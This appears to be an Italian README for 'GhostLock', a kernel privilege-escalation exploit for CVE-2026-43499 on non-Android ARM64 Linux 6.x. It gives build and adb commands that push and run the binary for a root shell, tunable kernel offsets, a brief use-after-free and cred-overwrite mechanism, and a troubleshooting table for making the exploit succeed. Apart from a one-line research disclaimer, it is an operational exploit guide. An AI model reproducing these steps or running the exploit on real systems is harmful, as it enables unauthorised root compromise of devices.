
GhostLock (CVE-2026-43499) adattamento per Linux 6.x ARM64 non Android
Exploit di elevazione privilegi GhostLock (CVE-2026-43499) per kernel non Android Linux 6.x ARM64.
| Voce | Valore |
|---|---|
| Architettura | ARM64 (AArch64) |
| VA_BITS | 39 |
| KIMAGE_TEXT_BASE | 0xffffffc008000000 |
| Versione kernel | 6.x |
| SELinux | Nessuno |
| ashmem | Nessuno |
| configfs | Nessuno |
make
make android-arm64 NDK=/path/to/android-ndk
La compilazione viene attivata automaticamente dopo il push; scaricare l'artifact.
# Inviare al dispositivo di destinazione
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e
# Ottenere una shell root
adb shell /data/local/tmp/e --shell
# Regolare l'offset di pselect (se il valore predefinito non funziona)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell
# Specificare l'indirizzo di caricamento fisico
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell
FUTEX_CMP_REQUEUE_PI innesca la UAF in remove_waiter()rt_mutex_waiter liberato finisce nel buffer stack_fdstask_struct->cred viene sovrascritto con init_credQuesta versione è una versione semplificata di ghostlock-oneplus:
Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza. L'utente è l'unico responsabile di ogni utilizzo.
| Variabile | Valore predefinito | Descrizione |
|---|
PSELECT_SHIFT | -2 | Regolazione dell'offset di pselect waiter sullo stack |
KPHYS | 0x80000000 | Indirizzo di caricamento fisico del kernel |
KIMAGE_TEXT_BASE | 0xffffffc008000000 | Indirizzo virtuale di base del kernel |
| Sintomo | Causa possibile | Soluzione |
|---|
| Riavvio del dispositivo | PSELECT_SHIFT errato | Provare uno per uno da -4 a +4 |
| Nessun effetto | KPHYS errato | Verificare il valore corretto in /proc/iomem |
| perf_event_open fallito | Limitazione seccomp | Provare a eseguire tramite ADB shell |
| Nessun root | Offset non corrispondenti | Verificare la versione del kernel, controllare TASK_CRED_OFF |